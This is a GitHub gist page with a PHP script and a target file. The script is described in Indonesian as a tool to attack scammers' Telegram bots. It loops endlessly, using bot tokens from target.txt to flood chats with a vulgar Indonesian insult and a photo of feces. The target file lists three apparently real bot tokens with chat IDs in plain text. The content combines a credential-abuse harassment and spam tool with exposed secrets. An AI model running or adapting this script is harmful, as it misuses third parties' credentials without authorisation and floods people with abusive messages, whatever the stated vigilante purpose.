Last active
March 27, 2024 15:53
-
-
Save ibnux/ea3017a9f7ef72b2bfae8602cee0ab28 to your computer and use it in GitHub Desktop.
php script untuk serang penipu yang pake bot telegram, pastikan ada gambar tai.jpg di sebelah filenya
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('default_socket_timeout', 5); | |
while (true) { | |
$array = explode("\n", str_replace("\r","",file_get_contents("target.txt"))); | |
foreach ($array as $a){ | |
if(!empty(trim($a))){ | |
$t = explode(" ", $a); | |
upload($t[0], $t[1]); | |
} | |
} | |
} | |
function upload($bottoken, $chat_id) | |
{ | |
echo file_get_contents('https://api.telegram.org/bot' . $bottoken . '/sendMessage?chat_id=' . $chat_id . '&text=sepong+kontol+monyet'); | |
echo "\n"; | |
$output = ['ok' => false]; | |
$bot_url = "https://api.telegram.org/bot$bottoken/"; | |
$url = $bot_url . "sendPhoto?chat_id=$chat_id"; | |
$post_fields = array( | |
'chat_id' => $chat_id, | |
'caption' => 'makan tai lu', | |
'photo' => new CURLFile(realpath('tai.jpg')) | |
); | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_HTTPHEADER, array( | |
"Content-Type:multipart/form-data" | |
)); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); | |
$output = curl_exec($ch); | |
curl_close($ch); | |
echo $output; | |
echo "\n"; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
6516194051:AAHk-0bdjP2cHUV8ElM13V2rLmUkq1BMOXM 6458685885 | |
6493093070:AAF3QcgzYNLQw4BlKYHNwicgpZdQblGBWGc 6242451225 | |
6302293707:AAGqPcX7kmL-95cU7Lx3zWXYs_9qjWI1XJQ 6310272809 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment